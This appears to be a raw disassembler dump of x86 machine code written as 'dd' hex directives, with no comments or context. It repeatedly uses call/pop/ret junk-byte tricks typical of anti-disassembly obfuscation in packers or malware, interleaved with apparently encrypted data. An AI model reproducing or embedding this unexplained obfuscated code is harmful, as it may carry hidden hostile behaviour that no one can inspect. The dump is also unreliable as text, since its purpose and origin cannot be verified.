		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 2EF02795h, 8DE31258h, 25E81C9Dh, 0F92DE906h,	6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0E61475C3h, 0BD9B4DDDh, 0F1958924h, 8B062204h, 53006AC1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 1C22710Fh, 4EB7CA1h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9AC35747h
		dd 0B6350049h, 94B748CFh, 0B4C78166h, 51006A6Fh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 1BA4E0ECh, 858D8944h, 6222CB5h, 6CD68166h, 11E8905Eh
		dd 0BF000000h, 0E42026B4h, 5E22AB32h, 3E40FC8h,	706143EFh
		dd 505EF08Bh, 0F093EFBFh, 6A9069h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 53B384C3h, 0FC76B90Fh
		dd 6AF9F8h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	0C1C35141h, 0D55D297Dh,	6122946Fh, 0B58B6061h
		dd 62214CDh, 873FBF66h,	6A006A61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8D5BC350h
		dd 25EAAA85h, 0A9B50906h, 83062226h, 509005C0h,	11E852h
		dd 5AB10000h, 0D2658BE6h, 0AD14EA64h, 58619B11h, 0E8E9F40Fh
		dd 12h,	986EE83Bh, 33F5E5EDh, 0A83C07BCh, 1480B9E1h, 5F5E65C3h
		dd 0BE66310Fh, 585A4881h, 90F28B50h, 1BEDBD8Bh,	0E6810622h
		dd 7C0AF532h, 880F006Ah, 0
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5BAE04C3h, 828B35FFh, 0FF44AD19h,	22355595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 4EE36C1Eh, 39C81815h, 9D8D66D8h,	625A90Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A9C35747h
		dd 0F980B471h, 57ACEF81h, 0B5894425h, 6222FFDh,	84BED3FFh
		dd 0FF4FAADDh, 2208B185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 35906A21h
		dd 0BF2941C6h, 4896993h, 0F71B58Bh, 0F4E90622h,	0E800000Dh
		dd 0
		dd 0B4ED815Dh, 6A0625EAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F00AC351h,	92C12E0Bh
		dd 568E9AA1h, 99BD815Eh, 0D006220Fh, 0F000007h,	12186h
		dd 0DE816600h, 9D8B683Fh, 6220055h, 100E381h, 0DF810000h
		dd 4AD81B8h, 850FDB0Bh,	9Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0E1C35343h,	291B37ACh, 0F38B6673h
		dd 0E89CBD83h, 0F000625h, 2D84h, 0E6816600h, 8EE94051h
		dd 0E8000000h, 9, 9E1BF6D0h, 0FA6DAEFEh, 0FE9ADh, 0B5410000h
		dd 502E388Fh, 0BCA851E1h, 16CE45AAh, 85C75E10h,	625E89Ch
		dd 1, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 17h
		dd 0D0C35242h, 0F1C7007h, 68Ch,	0A4CF8100h, 0E967CE01h
		dd 31h,	459D89F5h, 0C7062226h, 25E89C85h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 85FEB712h, 559D8DA3h, 6A062200h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 8968C355h
		dd 0E0E82D3Fh, 0BF667580h, 23819193h, 0FFFFFEFFh, 2671BD89h
		dd 8C660622h, 39BD8BDBh, 0BF062226h, 7D495C72h,	0F04C3F6h
		dd 7384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0FF946A4Dh, 7C204E74h, 0C995FF9Ah
		dd 6A062220h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0CACCC350h, 5FB2BA78h,	8AC2A5C0h
		dd 50F7BF0Fh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0E3DBC352h,	32DE9h
		dd 21BD8B00h, 0B0062203h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 373A1D47h
		dd 0F82074C9h, 0FE9h, 5A0F9E00h, 6565B454h, 2F33AECCh
		dd 0EC99B16Dh, 958970E6h, 622007Dh, 0B70F71E4h,	0D8B60FFEh
		dd 0BAF8B70Fh, 6, 8C0Fh, 0C38B0000h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 4EC35646h, 8BE567E1h, 4E8C1F2h
		dd 2099D89h, 0F7660622h, 5DB52BE2h, 2B06220Eh, 3D9529D8h
		dd 93062210h, 50F08B66h, 99B5FF93h, 106220Fh, 2232118Dh
		dd 7595FF06h, 81062230h, 0DBA114F6h, 0E800B066h, 5, 8070DB12h
		dd 70E65E65h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0ABC35747h, 60598889h, 0FDFBF0Fh, 681h,	0F58D0900h
		dd 61062210h, 958971E4h, 6223379h, 830F613Ch, 226h, 12E9h
		dd 48D83B00h, 3F93FC26h, 0F9BB9D77h, 0B4EC5763h, 318F43DDh
		dd 222609BDh, 0D8B60F06h, 21B18529h, 6BA0622h, 8B000000h
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 9153BDD8h, 4E8C1B3h, 0FE2F766h, 38Dh, 0F9BF0F00h
		dd 0BF0FD82Bh, 6A58FAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F8BCAC3h, 882h,	0B58B5200h, 6221C05h
		dd 2BBE665Eh, 0FD82BCAh, 18D88h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 70894317h
		dd 6666644Eh, 8FCDF681h, 1D899D89h, 7B90622h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 830BC356h, 6A00C1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 2B540FC3h, 0D350D0AEh
		dd 9D890DABh, 62213F9h,	860FD93Bh, 10Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0A9C35141h, 0C4E6ED2Bh
		dd 8A800FA4h, 66F38B66h, 0BD8BD98Ch, 6220791h, 0F04C1F6h
		dd 0AE84h, 79BD8900h, 0FF062230h, 2220C995h, 0D9858906h
		dd 66062208h, 0B211EE81h, 56006A5Bh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 28DE245Eh
		dd 2B08D7F1h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0BD284ABAh, 168A0FE3h, 0E9000000h
		dd 11h,	0DAA5C844h, 3CFA52A1h, 8C1E172Dh, 1F41A496h, 0F68166A1h
		dd 9D899D99h, 6221BEDh,	8343Dh,	20860F00h, 0F000000h, 68Eh
		dd 919D8900h, 0F062210h, 2FE9F3BFh, 60000000h, 580DD881h
		dd 0B96639EFh, 8B61B4D3h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0DFF2348h
		dd 0C38B859Ch, 0AE8D88Bh, 0D7000000h, 9C28637Ch, 0BE151CD6h
		dd 7E9FCh, 995C0000h, 0EDF2B8E1h, 85C75F07h, 6220635h
		dd 7A2987D1h, 1A718D89h, 0C08B0622h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 4CC35545h, 7B1FBB8Bh, 820FB26Ah
		dd 6, 1A95B58Bh, 0B5310622h, 62231D9h, 0F99BD81h, 7D00622h
		dd 850F0000h, 41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 85C35747h, 0F9985FFh,	6A0622h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 353DE4C3h, 99B5FF41h, 6A06220Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C072C352h
		dd 8C0F603Eh, 3, 61C38B66h, 307595FFh, 6A0622h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 4D0856C3h, 29D88298h, 0E9EECB62h, 0Dh, 7C38AD85h, 0B22849F2h
		dd 0DEAB2ED5h, 68A0F25h, 8B000000h, 22184DBDh, 6A409006h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A136C355h, 8DBD8316h, 62207h, 0FD840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 54DF48C3h, 11E256BBh, 88BF6682h, 0B1BD8394h
		dd 62232h, 0C9840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 2882CC3h, 4192A19Ah
		dd 606EA97Dh, 0E9D6B70Fh, 14h, 15EFA5B7h, 7254988Fh, 0C75DD342h
		dd 49984A8Ah, 7586916h,	0BE961h, 20BA0000h, 0A4525328h
		dd 8DB0ADCDh, 8D95FFE8h, 6A062207h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D88DC356h
		dd 8D8B605Ah, 622130Dh,	0FC00B61h, 4284h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0EFBF6615h, 91B529D9h, 8D062201h, 2250B18Dh,	89BD8906h
		dd 0B8062204h, 5, 4C58529h, 0E1FF0622h,	83F38B66h, 220165BDh
		dd 840F0006h, 641h, 31E1B58Bh, 0BD830622h, 62232B1h, 2E840F00h
		dd 1000006h, 222D79B5h,	0C98D8D06h, 0F062207h, 68Fh, 29B58B00h
		dd 0C7062206h, 0B27C8401h, 57006A44h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0F8C4BA72h
		dd 89B2C0D6h, 22181D9Dh, 0B5858906h, 8106221Dh,	99CFCB01h
		dd 0DD858914h, 0C7062217h, 6B340441h, 6ACE70h, 3E852h
		dd 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8D6CD0C3h, 10044181h
		dd 6A31D6D7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0A163C357h, 85012879h,	62202FDh
		dd 8DF5006Ah, 2207C985h, 7588BE06h, 89507340h, 4DBF2404h
		dd 0FF785523h, 22016595h, 0E6816606h, 8D8DB218h, 62207C9h
		dd 68F0Fh, 0B58B0000h, 6220F85h, 1C7h, 6A0000h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C27DF0C3h, 0FC6D9072h, 0AE9h, 0A3A39600h, 86DC5F5Eh
		dd 0C7F333B2h, 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0BEB2B4C3h, 7A9A2D86h
		dd 840FC00Bh, 92h, 0BE9h, 6492800h, 68F9DE97h, 47F5913Dh
		dd 46D9D09h, 8D8D0622h,	62250B1h, 0B98589h, 5B80622h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 71BEC352h, 14E923h, 38FB0000h, 736E458Ah
		dd 3B5FD3C4h, 9BDEE982h, 4616BC14h, 0E1FFAF3Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 35E67CACh
		dd 199CA1BCh, 3EBB60F7h, 89749A24h, 2202D99Dh, 8D8D6106h
		dd 62207C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	47C35747h, 1B58B7Ch, 0C706220Ah, 0AA727C01h, 0CB018144h
		dd 561499CFh, 11E8h, 74C7E700h,	0DEE3FC96h, 0BDBC512Dh
		dd 12C484AFh, 11E9FEB7h, 5D000000h, 752E773Ah, 7A31ADDh
		dd 0FDA90AEDh, 97D4D153h, 41C75E5Fh, 78753C04h,	57006ACEh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 8593A209h, 5E51ECE6h, 0CE9h,	0A6EA0E00h, 4DE913FCh
		dd 6DF03C6Fh, 441815Ch,	31D6D710h, 6AF38Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 0CE31DBD9h
		dd 55DCE44Ah, 103D9589h, 81660622h, 8DE3D1E6h, 2207C985h
		dd 0BF0F6006h, 0F9958BFFh, 61062203h, 0F525050h, 830F6031h
		dd 0
		dd 5A615B50h, 24048958h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 40C35545h, 0FFFE8B2Dh, 22016595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 44C8D4Ch, 0DE95751h,	0BC000000h, 21A2977Ah, 8CD15B78h
		dd 3DB767D3h, 0C98D8D5Fh, 6A062207h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 136CC355h
		dd 99E72E99h, 0F79EC8Ah, 8166FEB7h, 0C7E464C6h,	1, 9D095300h
		dd 622180Dh, 441C75Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h
		dd 0F791CFF5h, 0BF18B9Ch, 5F840FC0h, 8D000000h,	2250B18Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 3A28817Ch, 5B87D14h, 33000000h, 220621BDh
		dd 0E1FFF806h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	67C35343h, 7E1644C2h, 0EF981000h, 1375BD8Bh, 8D8D0622h
		dd 62207C9h, 0A501C7F8h, 0F54CA95h, 8Eh, 90BF6600h, 0CB018142h
		dd 0C71499CFh, 59690441h, 6ACE5Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 9CB89BC3h, 9E86B46h
		dd 0B8000000h, 7CCEC4Fh, 0FDFA98Ch, 860Fh, 815E0000h, 2A8B7EDFh
		dd 441813Bh, 31D6D710h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 6FC35343h, 10F976DCh,	663DFD3Bh, 0D931C781h
		dd 6AF98Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 17h,	82C35343h, 8DA0F0D9h, 2207C985h, 0EE906h, 0D3FF0000h
		dd 3C68768h, 0F2171111h, 0B58C5342h, 14E8h, 210CF100h
		dd 0F8B6042h, 1079F981h, 0B5CE22BBh, 69AD5CE6h,	50505E45h
		dd 907204BFh, 4895F22h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4C18C913h, 7F0BE21h, 0CE90C54h
		dd 0BF000000h, 91CD4019h, 28B5B065h, 0FF1AC02Eh, 22016595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0F98B667Fh, 7C98D8Dh, 0C7F90622h, 1, 0CE816000h
		dd 3F8D22E8h, 68B0Fh, 9D290000h, 62208FDh, 441C761h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6DC35343h
		dd 4AA5783Bh, 0A954989h, 10E961h, 0AF670000h, 30F16BEEh
		dd 0CF0D58BFh, 92F42299h, 0C00BFF36h, 7B840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FA7B6C3h, 38Dh, 0F78B6600h,	50B18D8Dh, 6A0622h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 36DBC8C3h, 875606D6h, 5B85A94h, 66000000h, 0E1FFF78Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BCC35343h
		dd 9D54A913h, 0E9CA034Ah, 0FFFFF233h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 3CC35343h, 0D8BE660Eh, 0A1B58B5Dh
		dd 8B06221Dh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 4EBA769h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 93C35040h
		dd 0D35AECBDh, 0B58BCB15h, 6220F5Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 21C35747h, 8DF1B70Fh, 222CB585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0D135CD9Ch, 7B0625C6h, 9D895963h, 6220EB9h
		dd 4800Fh, 0BE660000h, 0BE90A932h, 2731E7BCh, 9E950h, 0EDB90000h
		dd 397D517Ch, 901E85BBh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0EC35747h, 0E559589h,	6A0622h, 0B8D009BEh
		dd 8D006A45h, 25FAF785h, 5C08306h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C6C35343h,	732E6D9Ah, 0BA590E04h
		dd 1ED9B52Bh, 0F570622h, 685h, 0E9B58B00h, 5E062234h, 60605290h
		dd 61FE8B61h, 6060505Eh, 310F5250h, 0FE8A585Ah,	0B8666061h
		dd 0AE82FB6h, 0A1000000h, 3532564Bh, 0D0FB17E0h, 61615FC7h
		dd 6AFCF890h, 0C8C0F00h, 0F000000h, 682h, 91858900h, 6A062224h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 158E0FD5h, 0E9000000h, 10h, 28F235F4h, 0ABBBB775h
		dd 69B57315h, 0F3B6417Dh, 355595FFh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B72DDCC3h
		dd 785AEBE3h, 1EE5B503h, 8F0F0622h, 6, 1B51BD89h, 9D8D0622h
		dd 625A90Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0E3C35141h, 0FCF4C767h,	0CE9h, 3457DB00h, 4F6066CFh
		dd 7CEDB924h, 6AD3FF51h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B38C352h, 8E960F8h
		dd 8000000h, 39BAF9F0h,	894DE27Ah, 2215B985h, 85FF6106h
		dd 62208B1h, 0E9FA8B66h, 7D2h, 0E8h, 0ED815D00h, 625FB01h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 40C35747h
		dd 0F99BD81h, 7D00622h,	860F0000h, 173h, 552CE781h, 9D8B1F70h
		dd 622159Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	34C35141h, 22C41443h, 607929F1h, 2D5D8D89h, 0DA8B0622h
		dd 0E38161h, 6A000001h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0E32BC356h,	850FDB0Bh
		dd 0B0h, 82C4D0BFh, 0DCD68118h,	83475860h, 25F8C4BDh, 840F0006h
		dd 64h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
		dd 41C35242h, 8D0EF047h, 3DBE64E6h, 0CE9h, 0C1D3C600h
		dd 0D55D297Dh, 6122946Fh, 0A6E961h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 14ADA9C3h
		dd 295D9D89h, 0B58B0622h, 62224A5h, 0F8C485C7h,	10625h
		dd 0F7810000h, 18D42CFFh, 67E9h, 0CE800h, 0AC5A0000h, 0E251FB46h
		dd 4883F072h, 8E9C9EBh,	0D5000000h, 1008A3F5h, 5E339350h
		dd 0F8C485C7h, 625h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BE964C3h, 0C6000000h
		dd 0E3FD793Ch, 0F8E84A9h, 0DE9B9CAh, 37000000h,	4E1DF3A7h
		dd 0D51AF76Fh, 48C53246h, 159D9D8Dh, 0B8BF0622h, 81335842h
		dd 0FFFEFF23h, 95B58BFFh, 66062221h, 6ADB8Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 6617C5C3h
		dd 0C3F6F28Bh, 76840F04h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F626C356h
		dd 0E8BE66E1h, 0FFF88B95h, 2220C995h, 13E906h, 84340000h
		dd 616B3E2Bh, 2FDF8948h, 65F6C299h, 86CCDD5Fh, 0CE95022h
		dd 0FC000000h, 0FFDB6FE2h, 69DADDB5h, 89CFB8B4h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 2AC16C3h, 363E9FCh, 85890000h, 622314Dh, 8D0F00B0h
		dd 5, 54062CBFh, 6A70E617h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 1CC5C357h, 9E25CE92h
		dd 0E4D7D840h, 8D8B6071h, 6220E55h, 1B71B589h, 66610622h
		dd 9349D781h, 0F8D8B60Fh, 6BAh,	0FC38B00h, 8E9F6BFh, 23000000h
		dd 0E1D15618h, 0C144AC80h, 6A04E8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F6BFAEC3h
		dd 0BF66D678h, 0F76676AAh, 52006AE2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C0930F4Dh
		dd 0BE2F6E49h, 0FE96F56h, 0B9000000h, 41753A6Bh, 0EDB1197Eh
		dd 0EA675004h, 0FB8B5AB5h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 50925AC3h
		dd 10E8h, 49927900h, 6FEC608h, 7C3611CEh, 3F71ED0h, 1C895E50h
		dd 0C7816624h, 0B5FFF805h, 6220F99h, 3098BF66h,	307595FFh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 56055AC3h, 12E9h,	65386C00h, 23B90261h, 9D0A59FEh
		dd 0E23AA650h, 335928Dh, 221C39BDh, 6600B006h, 70E6FE8Bh
		dd 6890Fh, 0BD8B0000h, 6221659h, 6A71E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0BA2801C3h
		dd 0E48ECB42h, 6842EABFh, 0F613C1Ch, 1C883h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B641AC4h, 2221CDB5h, 3DBD8B06h, 0F062225h, 0BD89D8B6h
		dd 62200E5h, 6BAh, 0B58B6000h, 6221DE9h, 68A0Fh, 85890000h
		dd 6222D25h, 2BC38B61h,	2220B1B5h, 4E8C106h, 0F766F38Bh
		dd 0F6B70FE2h, 9589D82Bh, 6221AB9h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0F28B0252h
		dd 880FD82Bh, 139h, 0C9BD2Bh, 0B58B0622h, 6221ECDh, 7B9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 89C55E69h, 222D699Dh, 0C18306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A0C35141h, 78F6BFAEh
		dd 0A8E040D6h, 860FD93Bh, 0D5h,	0DE9h, 9B2ABB00h, 1A7A01C0h
		dd 0F508EE3Ah, 8C664358h, 816650D9h, 5EF7BAE6h,	0F04C1F6h
		dd 0A584h, 4D952900h, 0FF062225h, 2220C995h, 5BF78B06h
		dd 0C880Fh, 8A0F0000h, 6, 631BD89h, 0C32B0622h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 2EC35040h, 8B4EA313h
		dd 223025B5h, 8DBD2306h, 3D062219h, 834h, 4C860Fh, 800F0000h
		dd 6, 20A59509h, 46E90622h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7816C351h
		dd 0E66C73F6h, 0E8DE6625h, 0Bh,	0EB2FC195h, 5246F5B6h
		dd 8B2C1D19h, 220685B5h, 0C08B5E06h, 38D0Fh, 0B70F0000h
		dd 8BC38BFBh, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 91388892h, 0BE41D8AAh, 16354386h
		dd 5585C7h, 1BD70622h, 6A7F64h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 6AC584C3h, 6AC08BF8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 4598C357h, 81331C74h, 220F99BDh, 7D006h
		dd 0C850F00h, 0FF000000h, 220F9985h, 0A5B58B06h, 0FF062200h
		dd 220F99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 3595019Dh, 0FF062230h, 22307595h
		dd 0A5BD3306h, 81062214h, 0E43F61EFh, 9D89907Fh, 6221091h
		dd 1B41BD0Bh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0CA1999C3h, 1DE2AA83h, 356DBD89h
		dd 11E90622h, 0ED000000h, 0DDDB0591h, 0CCC44E90h, 0E8F6AF7Fh
		dd 18FE8083h, 1BC18D01h, 0BE660622h, 14E92C7Dh,	0C6000000h
		dd 945D4E1Bh, 17E46398h, 0B344754Fh, 0F53D2493h, 0F93487Bh
		dd 128Ah, 0F6BF0F00h, 8E960h, 61300000h, 68366567h, 0F6199F0h
		dd 0C89h, 68C0F00h, 8B000000h, 222C79B5h, 6840F06h, 89000000h
		dd 2213E98Dh, 0AD858906h, 6A062215h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 5452C350h
		dd 0E728448Ch, 0B560C2A3h, 0AE9DBh, 61C60000h, 0DC97241Dh
		dd 7ED5C25Eh, 61C78B66h, 839BD29h, 95290622h, 6221161h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A6C35646h
		dd 22D3797Ah, 7D1A4F36h, 9D958956h, 5E062212h, 1C75B58Bh
		dd 0B52B0622h, 6222225h, 0FFF853E9h, 50006AFFh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 1418016Eh
		dd 2DE1D41Bh, 0C18B1D2Ah, 0EBF1B70Fh, 4, 85BF6600h, 0C18D89E9h
		dd 6A062228h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0A4BAC353h, 6850FB5h, 89000000h
		dd 22211585h, 10E906h, 6F5D0000h, 544538CCh, 2A770629h
		dd 1A1012BFh, 858D11D8h, 6222CB5h, 2911BD09h, 50500622h
		dd 8B666052h, 0D76CB8CFh, 0F6142F9h, 12E931h, 27A00000h
		dd 1C45B055h, 79599F12h, 91FAF9B0h, 0D224874h, 489585Ah
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 9061E3B5h, 7C2514A2h, 33ED9589h,	6A0622h
		dd 24858589h, 6A0622h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 72C35242h, 8D7E75A9h,	2604A285h, 850F06h
		dd 83000000h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 9054FC3h, 31E0F500h, 2229C5B5h
		dd 66609006h, 0CBAC68Bh, 61348652h, 8E950h, 55590000h
		dd 60565972h, 6A906E5Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 681CC356h, 0DFB1FB66h
		dd 8C0FD787h, 3, 6AF1BF0Fh, 6AFC00h, 0F5950160h, 8B062228h
		dd 22012185h, 95FF6106h, 6223555h, 4990D781h, 9D8D39CFh
		dd 625A90Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	42C35040h, 24090161h, 0B50975C3h, 62200C9h, 6AD3FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 761E01C3h, 85FF21FBh, 62208B1h, 13A5B58Bh, 0D0E90622h
		dd 0E8000007h, 0
		dd 0ACED815Dh, 23062604h, 220EFDBDh, 99BD8106h,	0D006220Fh
